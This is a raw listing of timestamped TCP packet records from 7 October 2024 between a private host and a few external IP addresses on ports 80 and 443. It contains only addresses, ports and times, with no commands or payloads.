Oct 7, 2024 13:27:09.219878912 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:09.219890118 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:09.219892025 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:09.219902992 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:09.219919920 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:09.219942093 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:09.220557928 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:09.220568895 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:09.220580101 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:09.220592976 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:09.220604897 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:09.220618010 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:09.220618010 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:09.220658064 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:09.712759972 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.713325024 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.713349104 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.713821888 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.713826895 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.769568920 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.772798061 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.772818089 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.773293018 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.773298979 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.795113087 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.795711994 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.795732021 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.796255112 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.796261072 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.802326918 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.803329945 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.803339005 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.803881884 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.803886890 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.869895935 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.870085955 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.870729923 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.870855093 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.870882034 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.870903969 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.870929003 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.870937109 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.870949030 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.870955944 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.871371984 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.871400118 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.874831915 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.874831915 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.874881029 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.874891043 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.875160933 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.875160933 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.875160933 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.875194073 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.875262022 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.875274897 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.896681070 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.896749973 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.896830082 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.897126913 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.897144079 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.897154093 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.897161961 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.904509068 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.904541969 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.904609919 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.904853106 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.904866934 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.905975103 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.906084061 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.906198978 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.906661987 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.906673908 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.911020994 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.911051035 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:09.911817074 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.912004948 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:09.912014008 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.468977928 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.471802950 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.471847057 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.472433090 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.472446918 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.517599106 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.518199921 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.518228054 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.518752098 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.518767118 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.526684046 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.527807951 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.527823925 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.528467894 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.528482914 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.539105892 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.539725065 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.539745092 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.540236950 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.540242910 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.553471088 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.557178020 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.557193041 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.560081959 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.560090065 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.569256067 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.569325924 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.569444895 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.570138931 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.570159912 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.570173979 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.570179939 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.575294018 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.575330019 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.575520992 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.575670958 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.575681925 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.617896080 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.618999004 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.619066000 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.619266033 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.619292021 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.619317055 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.619323969 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.623254061 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.623291016 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.623357058 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.623503923 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.623516083 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.641668081 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.641752005 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.641935110 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.642144918 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.642144918 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.642168999 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.642182112 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.645241022 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.645299911 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.645570993 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.645734072 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.645751953 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.648256063 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.648343086 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.648468018 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.648603916 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.648622036 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.648633957 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.648639917 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.651916981 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.651956081 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.652127981 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.653048038 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.653059959 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.655611992 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.656250954 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.656306028 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.656351089 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.656368017 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.656506062 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.656512022 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.660365105 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.660398960 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:10.660506964 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.660723925 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:10.660737038 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.219698906 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.220516920 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.220541000 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.221374035 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.221379042 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.257726908 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.258311987 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.258327007 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.259243965 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.259255886 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.279764891 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.280677080 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.280699015 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.281388044 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.281394958 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.303128958 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.303601980 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.303639889 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.304311037 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.304320097 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.308284998 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.308774948 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.308792114 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.309267998 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.309276104 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.320249081 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.320456982 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.320507050 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.320513010 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.320569038 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.320866108 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.320880890 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.320890903 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.320895910 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.323827028 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.323880911 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.323987007 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.324687958 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.324703932 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.365179062 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.365320921 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.365387917 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.365708113 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.365715027 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.365725040 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.365729094 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.368720055 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.368757963 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.368854046 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.369263887 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.369281054 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.378979921 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.379018068 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.379069090 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.379156113 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.379281998 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.379281998 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.379302979 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.379312038 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.382247925 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.382293940 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.382378101 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.382560968 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.382579088 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.402456999 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.402806997 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.403179884 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.403465033 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.403485060 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.403496981 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.403502941 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.406236887 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.406270027 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.406318903 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.406369925 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.406369925 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.406980991 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.406980991 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.407005072 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.407017946 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.409377098 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.409418106 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.409745932 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.410104990 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.410115957 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.411124945 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.411134005 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.411232948 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.411417007 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.411422968 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.522994041 CEST	49920	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:11.523585081 CEST	49951	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:11.528104067 CEST	80	49920	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:11.528275967 CEST	49920	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:11.528435946 CEST	80	49951	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:11.528567076 CEST	49951	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:11.561312914 CEST	49951	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:11.566144943 CEST	80	49951	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:11.996037960 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.997061014 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.997092962 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:11.997726917 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:11.997733116 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.009955883 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.010514975 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.010540962 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.011156082 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.011161089 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.045274019 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.045852900 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.045869112 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.046390057 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.046395063 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.049475908 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.049974918 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.050009012 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.050390005 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.050400019 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.082247019 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.082870960 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.082892895 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.083398104 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.083403111 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.100215912 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.100506067 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.100677013 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.109883070 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.109957933 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.110053062 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.125022888 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.125022888 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.125047922 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.125058889 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.125874996 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.125896931 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.125910044 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.125916004 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.131756067 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.131798029 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.131871939 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.132034063 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.132045031 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.132560968 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.132605076 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.132936001 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.133078098 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.133086920 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.144139051 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.144197941 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.144290924 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.144520044 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.144532919 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.144541979 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.144546032 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.148271084 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.148297071 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.148720026 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.148981094 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.148988962 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.152148962 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.152348995 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.152479887 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.152532101 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.152539968 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.152554035 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.152558088 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.155772924 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.155783892 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.155853987 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.156018019 CEST	49955	443	192.168.2.5	13.107.246.60
